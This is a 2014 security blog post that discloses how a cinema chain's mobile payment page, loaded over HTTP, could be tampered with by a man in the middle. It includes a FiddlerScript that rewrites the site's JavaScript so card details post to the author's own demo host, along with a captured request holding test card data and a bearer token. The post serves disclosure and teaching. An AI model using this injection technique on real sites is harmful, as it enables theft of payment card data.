Wednesday, 18 June 2014

Lessons in insecure SSL courtesy of Hoyts cinemas

Wednesday, 18 June 2014

Why do we bother with SSL? I mean what’s the risk that we’re trying to protect against by using certificate authorities and serving up traffic over HTTPS? Usually it’s men (or possibly even women) in the middle or in other words, someone sitting somewhere between the client and the server and getting their hands on the data. Do we all agree with this? Yes? Good, then why on earth would you possibly say this?

@slaneyrw @troyhunt Hi Robert, thanks for reaching us! We can confirm that all payment details are all sent via a API which is secured.

This was in response to Robert kindly pointing out that their payment screen is not secured. Robert, of course, is entirely correct:

Hoyts payment screen loaded over HTTP

Whoa – no padlock in the address bar! Oh no, wait, there it is down in the bottom left corner, let me enhance that for you:

Thawte padlock icon

This is what we refer to as “Security Theatre” and it’s the fake boobs of web security – sure it looks enticing from the outside but it offers no real substance. In fact here’s what Thawte tells us about web security when you click through the logo:

Authentic Sites use thawte SSL Web Server Wildcard Certificates to offer secure communications by encrypting all data to and from the site.

Encrypting all data? Hang on a moment – is the logo lying or has Hoyts got it wrong?! Well firstly, these logos are completely useless and as I’ve said before, they must die. In fact just last year I demonstrated how using the rationale presented by the likes of Thawte and Norton, I am, in fact, the world’s greatest lover. But I digress.

Now I’ve played the “You’re-not-secure, Yes-we-are-because-we-post-over-HTTPS, No-you’re-not-really” game many, many times before so I knew exactly how this was going to pan out. After further to and fro it inevitably boils down to the accused defending the indefensible because frankly, they just don’t know any better:

@devlead @kyhwana @troyhunt @slaneyrw Its a single page javascript app the content is HTTP, but all client data goes over an SSL web service

Here’s what Hoyts is referring to and I’ll load this up in Chrome on the desktop to make things easy:

The payment form loaded over HTTP but posting to HTTPS

Yes, this is sent over HTTPS and yes, the credit card payload is encrypted. No, it is not secure. Let me demonstrate with a story.

Bruce is out with the wife and kids doing some shopping one afternoon. As many of us know, this is laborious work. He sits down at a cafe, grabs a coffee and jumps on the free wifi. He decides to see what’s on at the flicks so jumps over to Hoyts and sees Transformers: Age of Extinction. As we also know, watching Transformers is more fun than shopping with wives so he decides to order some tickets online. Now Bruce is a smart bloke and he knows that public wifi in particular is a high-risk zone when it comes to protecting the transport layer but being Hoyts – arguably one of our premier cinemas down here – he figures they’ve done their job right and protected him from rogue (wo)men in the middle. Besides – they’ve got a Thawte logo! He jumps over to the payment screen and sees this:

iPhone-5

Ok, that’s a little odd to ask for his Mrs’ credit card info but given she’s making all the shopping decisions today anyway, he figures that’s fair enough (it might be one of those “smart” websites that knows who holds the purse strings). He enters his credit card info, submits the form and…

POST http://hackyourselffirst.troyhunt.com/OurApiIsSecure HTTP/1.1
Host: hackyourselffirst.troyhunt.com
Accept-Language: en-us
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://m.hoyts.com.au/
Content-Type: application/json
Connection: keep-alive
Connection: keep-alive
Authorization: Bearer AAEAAAvjgLClEirdUF180lVXbHy_OhSQDxCbTeYu9pavG-NbnpNw5bnMcaWNfSwsllxis00ZdNDgxst06OMRyPumU_4WS-ep-lhMOyPTYsRuB6_EF77MqOC6O5jhAYxxMNM7YgbsfsuvpRRNF91xtW5WsgTX0f2Vh7-Ku8Fct6SMLRf3LFKkq1qzqTMw415HyTMJyPKMdT___EBYwi4gsAwFWjj6vai4kBmLJaKN2bLaiiiAmioMgKt_j0l8AXXiIQGssp-8oz3zeua5jcrct511l1CNn4SblJvvLAi9SYokzMJ5xRVLYR4mR9ysspsHi-vXsW3E9fO1iO36xPoi3YZEUV10AQAAAAEAACjJE4WRlW9Tutc-WOk6YTWZPyFIbHEBzMKAmYuLfm3B3RlApptawuNVTwma5AYfEOLrNrXU-FyB7Mfum1lwYWyPbNU-PRHXnw2VKiFu_-unvnhmJv-XthUjrsewQNFGXT2Eskc-JlFQlJ0LoYLYc2Kw4dSs4z8yjnyO9x5q8Vv79J55bzG7vIf-oF18JjNTojbn39O78LCP4ml_omjIawEv4OIHXvyPLnqyw38-qSGDmJ_CcDnKrMYG25ebgblm0ymMtkr7FOldFLMRw6YfkbGrs0baiH6esnvDM8YVteqCB4J23LDIt5p-ZA7KxfHY6Q8Hsdio5uqNZOJkJU7Gf-3ngQaC8m2AQRoBFSbMiuoXtONh9toVjpYjxRUEC_MkUmv7QKZqZUQZFyxh-CDUwA7Wzupm0TtyI1eZSCRtI2_PJcc4bCd5e30PWOTmhRTgInlsB4lIo8YZYoMwHRsfkCEuE73dTn5PMvgZADSwv5wm
Content-Length: 200
Origin: http://m.hoyts.com.au
Accept-Encoding: gzip, deflate

{"CreditCardDetails":{"CardType":"Amex","Number":"378282246310005","Name":"Shirl Smit","CVC":"123","ExpiryMonth":"07","ExpiryYear":"2016","Email":"bruce@gmail.com"},"orderId":"JOH8uMo5PEKTEZt7uOkykA"}

This is just a raw HTTP request as there’s nothing worth showing on the screen and it doesn’t matter anyway – Bruce is already stuffed. What’s happened here is fundamentally simple which makes it all the more worrying that it’s a problem in the first place. Bruce was indeed connected to a rogue wifi network and the attacker had access to his traffic – precisely the risk Hoyts was trying to avoid by adding SSL to the site in the first place! However, because they loaded the payment card page over an insecure connection, the attacker could easily modify it.

That should be about it and normally I’d just leave it there – you loaded your form insecurely and put your customers at risk before they even got to entering their sensitive data. But Hoyts is a little complicated insofar as it’s all a bit “single-page-appy” and it wasn’t just a case of changing the action attribute of the form in HTML. Here’s the mechanics of it:

When m.hoyts.com.au loads over HTTP, it embeds the file built.js which is also loaded over HTTP. This is what’s colloquially referred to as “The Mother of all JavaScript Files”. It’s minified (which is good), and it bundles multiple libraries (which is also good) but it’s still a massive 967kb and isn’t HTTP compressed (stick that in your mobile 3G connection!) For context, that comes out at about 33k lines unminified. Anyway, all the orchestration of all the features happens in here and because it’s loaded over HTTP, a man in the middle (excuse me while I drop the gender equality for the sake of brevity) can easily manipulate the contents.

There are many ways of modifying or observing unencrypted traffic. The Tunisian were fond of doing it at the ISP level. Firesheep made good use of open public wifi and networks cards that can run in monitor mode. I myself have been known to carry a Pineapple (for research, of course) which is a particularly capable way of getting into the middle of traffic sent by mobile devices. For demos like this though, I like to use Fiddler.

Whilst you’re not (usually) going to be MitM’ing anyone for real with Fiddler, it makes it very easy to demonstrate the potential and it makes it particularly easy for others to reproduce the process (Hoyts did seem appreciative of the feedback so assumedly it will be in their interest to be able to reproduce this). To demo this via Fiddler, I simply added the following piece of Fiddler script to the OnBeforeResponse event using FiddlerScript:

if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "application/x-javascript")) {
  oSession.utilDecodeResponse();
  oSession.utilReplaceInResponse('"Credit Card Number"', '"Your Wife\\\'s Credit Card Number"');
  oSession.utilReplaceInResponse('"Credit Holder\\\'s Name"', '"Your Wife\\\'s Name"');
  oSession.utilReplaceInResponse('this.getBaseUrl()+"/orders/"+this.attributes.orderId+"/pay/"',
      '"http://hackyourselffirst.troyhunt.com/OurApiIsSecure"');
}

if (oSession.HTTPMethodIs("OPTIONS") && oSession.HostnameIs("hackyourselffirst.troyhunt.com")) {
  oSession.oResponse.headers.Add("Access-Control-Allow-Origin", "*");
  oSession.oResponse.headers.Add("Access-Control-Allow-Headers", "authorization,content-type");
}

This is a pretty simple little script but let’s go through it anyway. There are two main parts to this with the first block of code being all about replacing response contents when the content type is JavaScript. This is essentially modifying the built.js file which is easily achievable because it’s loaded over HTTP. A real MitM could also do this on the fly, or store their own modified copy and serve that up or even just route the request to their own service. You can slice it and dice it many ways, but my script is simply replacing three parts of the file:

  1. Changing “Credit Card Number” to “Your Wife’s Credit Card Number” (this is just to give a visual representation within the phone of the traffic having been modified)
  2. Changing “Credit Holder’s Name” to “Your Wife’s Name” (same reason again)
  3. Changing the path the form ultimately posts to (this is the heart of the attack)

That’s the first part. The second part adds two headers which facilitate the cross domain async posting of the JSON data which is how the card info is sent. This is required as when posting cross domain in this fashion, the browser will make an OPTIONS request before sending over the payload and if the target server doesn’t respond by saying it will allow the request by virtue of these headers being present, the data is never sent.

So that’s it – the only other thing I needed was a resource on the hackyourselffirst.troyhunt.com domain that would respond with an empty HTTP 200 when an OPTIONS request was made and another which would accept the POST request. Here’s how it looks when the request is actually sent:

The request with credit card info in Fiddler

Of course the key here is the message in the bottom right – this is my site (or the would-be attacker’s site) successfully reporting that it’s received the victim’s credit card info and reflecting it back out to the screen. You don’t see it in the mobile app as it’s expecting a JSON response with entirely different content and in reality, an attacker would be far smarter about hiding this information away and ensuring the end user has no apparent disruption in their service.

All of this boils down to the simplest of solutions – the payment page must load everything over HTTPS. Ah, but what about the pages linking to the payment page, couldn’t they be manipulated to link elsewhere? Yes, (although the certificate on the payment page would then be wrong if anyone looked at it) and if you’re worried about that then you load them over HTTPS too. Well what about if someone just enters m.hoyts.com.au into their browser and the site then redirects to HTTPS, isn’t that first HTTP request a risk? Yes, and we don’t have good answers for it yet short of using HSTS headers so that at some point, if the site is loaded securely, the browser can’t then make an insecure request later on. It’s not a perfect science, but it sure beats loading forms collecting sensitive data over insecure connections.

Particularly in the wake of events such as Target last year where 110M credit cards went walkabout, it’s somewhat mindboggling to see such a fundamental error when handling payment card info. In fact there’s a good chance that PCI DSS wouldn’t take a very fond view of this and they have bit of a track record of taking merchants to task over sloppy practices when handling their card data. Certainly as a customer, this is not a page you want to be trusting your card data with any more than what you would any site that didn’t have the prerequisite padlock in the address bar and HTTPS in the URL.

Lastly, some advice for the social media drivers behind public faces such as the Hoyts Twitter account: if a concerned customer is raising security concerns and particularly if they’re echoed by a bunch of folks with titles like “technical architect”, “developer” and “hacker”, it might actually be worth thinking about some of those fundamental tenets of dealing with technical queries and taking the discussion offline for further investigation. Public statements of security prowess in the face of clear and present vulnerabilities often result in someone taking you to task over it :)

Update: Several days after posting this, the Hoyts website at http://m.hoyts.com.au was updated so that every HTTP request is redirected to HTTPS therefore causing the page that accepts financial data to be loaded over a secure connection. Good one Hoyts!

Tags:

comments powered by Disqus

Leaving comments is awesome, please do. All I ask is that you be nice and if in doubt, read Comments on troyhunt.com for guidance.